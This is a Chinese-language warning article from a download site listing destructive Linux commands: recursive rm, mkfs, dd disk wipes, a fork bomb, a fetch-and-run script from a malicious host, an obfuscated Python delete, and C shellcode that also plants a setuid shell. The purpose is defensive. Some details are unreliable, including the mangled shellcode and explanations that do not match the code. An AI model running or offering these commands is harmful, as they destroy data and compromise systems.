IT貓撲網(wǎng):您身邊最放心的安全下載站! 最新更新|軟件分類|軟件專題|手機版|論壇轉(zhuǎn)貼|軟件發(fā)布

您當(dāng)前所在位置:首頁操作系統(tǒng)LINUX → 千萬千萬不要運行的Linux命令!

千萬千萬不要運行的Linux命令!

時間:2015/6/28來源:IT貓撲網(wǎng)作者:網(wǎng)管聯(lián)盟我要評論(0)

文中列出的命令絕對不可以運行,即使你覺得很好奇也不行,除非你是在虛擬機上運行(出現(xiàn)問題你可以還原),因為它們會實實在在的破壞你的系統(tǒng)。所以不在root等高級管理權(quán)限下執(zhí)行命令是很好的習(xí)慣。

早晚有一天,Linux 系統(tǒng)會像 Windows 那樣流行,用的人越來越多,包括對計算機不是很了解的人,本文的目的就是告訴大家:在 Linux 給你最大程度自由度的同時,也使得破壞系統(tǒng)變得更加容易,如果你不了解某些命令的意義,下載執(zhí)行包含惡意命令的腳本,或者被騙運行某些命令,很容易讓你哭都來不及。

這并不是說明 Linux 不安全,只是說明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令會刪除你硬盤上的文件,rm 的 -r 遞歸刪除,和 -f 強制刪除是很危險的選項,即使日常操作,也會遇到誤刪文件的情況。

sudo rm -rf /  刪除根分區(qū)全部的文件
sudo rm -rf .    刪除當(dāng)前目錄下的所有文件
sudo rm -rf *   同上
rm -rf * or rm -rf *.*   同上
rm -rf ~ / &     刪除根分區(qū)和家目錄,即使你不是root,家目錄還是不能幸免。

同樣,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的話,運行下面的命令會擦除你的硬盤分區(qū):

 sudo mkfs.xxxx

dd 是強大的 IO 輸入輸出定向工具,如果使用不當(dāng),破壞性很大,不僅僅是當(dāng)前分區(qū),當(dāng)前系統(tǒng),有的時候是整個硬盤。

sudo dd if=/dev/zero of=/dev/sda   全部硬盤清零。
sudo dd if=/dev/sda of=/dev/sdb     用第一塊硬盤的內(nèi)容覆蓋第二塊的內(nèi)容。
sudo dd if=something of=/dev/sda    往硬盤上寫垃圾數(shù)據(jù)。

同理,直接把命令結(jié)果定向到硬盤上,相當(dāng)于往硬盤上寫垃圾數(shù)據(jù):

 any_command > /dev/sda  用隨意的數(shù)據(jù)破壞硬盤

上面的 sda 、sdb 也可能是其他類似的名稱。Linux 的 /dev 系統(tǒng)給操縱硬件提供了很方便和強大的功能,同時也使得破壞變得更容易。

fork 命令打開一個子進程,如果把 fork 放在無限循環(huán)中,最終子進程會耗盡所有內(nèi)存資源:

 :(){:|:&};: 

這段不知所云的符號,可以讓 Shell 不停的 fork 子進程,最后導(dǎo)致內(nèi)存耗盡,不得不重啟,這不是 bug,只是 Shell 語句故意寫成簡寫的形式而已。下面的同理:

 fork while fork

有的時候,壓縮包也是一個破壞來源~

有的壓縮包要求你解壓到某個系統(tǒng)中已經(jīng)存在的目錄中,這時候你就要特別小心了,壓縮包里面可能有成千上萬的小文件,以各種文件名嘗試覆蓋你現(xiàn)有的文件。

有的壓縮包看起來很小,但是解壓出來是上 GB 的垃圾數(shù)據(jù),會充斥你的硬盤。

從不正規(guī)網(wǎng)站下載的程序、腳本,同樣會有包含惡意命令的危險,不可隨便執(zhí)行:

wget https://some_place/some_file
sh ./some_file
wget https://hax018r.org/malicious-script
sh ./malicious-script

載腳本要確保來源正規(guī),如果有能力,可以閱讀其代碼。

即使有源代碼的程序,也不要隨便編譯執(zhí)行:

 char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

上面看起來只是一堆沒有意義的 16 進制數(shù)據(jù),如果有人告訴你,運行這個程序你就可以不輸入密碼取得系統(tǒng)的 root 權(quán)限,你可不要相信他,上面的程序?qū)嶋H運行的是"rm -rf ~ / & "。

python 一類的腳本語言,同樣可以拿來搞破壞:

 python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

這段程序?qū)嶋H上會執(zhí)行 rm -rf *,也許你很奇怪上面程序結(jié)尾的 "sn!.sg! " 是什么意思,實際上就是 rm -rf * 每個字母的下一個!

那么我們?nèi)绾伪苊膺\行惡意程序呢?
第一不要用 root 作為日常使用的用戶,上面的程序,如果當(dāng)前用戶不是 root,危害的波及范圍就會小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然運行。運行有潛在破壞能力的程序,要小心檢查自己的輸入。
第三要保證軟件、腳本的來源正規(guī)。
最后一點,雖然比較消極,但是確實十分重要的一點:
經(jīng)常備份你的數(shù)據(jù)。

關(guān)鍵詞標(biāo)簽:Linux命令

相關(guān)閱讀

文章評論
發(fā)表評論

熱門文章 安裝紅帽子RedHat Linux9.0操作系統(tǒng)教程安裝紅帽子RedHat Linux9.0操作系統(tǒng)教程使用screen管理你的遠程會話使用screen管理你的遠程會話GNU/Linux安裝vmwareGNU/Linux安裝vmware如何登錄linux vps圖形界面 Linux遠程桌面連如何登錄linux vps圖形界面 Linux遠程桌面連

相關(guān)下載

人氣排行 Linux下獲取CPUID、硬盤序列號與MAC地址linux tc實現(xiàn)ip流量限制dmidecode命令查看內(nèi)存型號linux下解壓rar文件安裝紅帽子RedHat Linux9.0操作系統(tǒng)教程Ubuntu linux 關(guān)機、重啟、注銷 命令lcx.exe、nc.exe、sc.exe入侵中的使用方法查看linux服務(wù)器硬盤IO讀寫負載